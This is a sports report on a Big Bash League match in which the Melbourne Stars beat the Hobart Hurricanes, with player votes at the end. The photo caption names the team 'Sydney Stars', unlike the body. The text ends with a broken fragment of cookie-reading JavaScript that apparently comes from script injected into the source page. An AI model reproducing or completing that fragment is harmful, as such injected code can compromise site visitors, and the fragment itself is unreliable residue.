HOBART, AUSTRALIA - DECEMBER 26: Glenn Maxwell of the Stars bats during the Big Bash League match between the Hobart Hurricanes and Sydney Stars at Blundstone Arena on December 26, 2016 in Hobart, Australia. (Photo by Mark Metcalfe/Getty Images)

The Melbourne Stars have gotten their Big Bash campaign off to a winning start, with a dominant seven wicket victory over the Hobart Hurricanes at Blundstone Arena.

The Stars, who looked in control through the entirety of the run chase, scoring at over 10 runs an over, chased down the Canes' score of 4-188 with 14 balls to spare, thanks largely to an impressive knock of 75 from 43 balls from opener Rob Quiney.

Quiney, along with Englishman Luke Wright (48 off 29), shared a quick fire 88-run stand for the first wicket from just eight overs, before the former continued the onslaught with a mixture of quick singles, hard running twos and huge sixes.

Following Quiney's dismissal in the 16th over, Glenn Maxwell led the Stars home, with a typically powerful 58 from just 29 balls.

Earlier, the Hurricanes were in serious trouble early at 2-6, with former Aussie Test quick Ben Hilfenhaus on a hat-trick in just the second over of the innings.

Hilfenhaus clean bowled Darcy Short and Dom Michael for one and naught respectively to get the Stars off to the perfect start.

Sri Lankan legend Kumar Sangarra was dismissed shortly after, caught in the deep by James Faulkner off the bowling of Glenn Maxwell to make it 3-32 off four and a half overs.

However, with the Stars seemingly in control, Tim Paine (91 off 61) and George Bailey (74 not out off 46) helped the Hurricanes to 4-188 off their 20 overs, with two outstanding innings, to help the hosts to what looked to be a very competitive score following a disastrous start.

However, their heroics were not enough, as the Stars chased down the target with over two overs to spare.

Votes:

3. Rob Quiney (Stars)

Opened the batting and won the game for the Stars when it was on the line early in the innings. Played some brilliant shots with a strike rate of a tad under 200.

2. Tim Paine (Hurricanes)

Almost held his bat through the whole innings with a very good performance and rescue mission following a disastrous start from his teammates.

  1. George Bailey (Hurricanes)

Came in at a very difficult time when his side was struggling. Worked his way into the innings very well, before teeing off when he got himself in, helping set up a competitive total. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}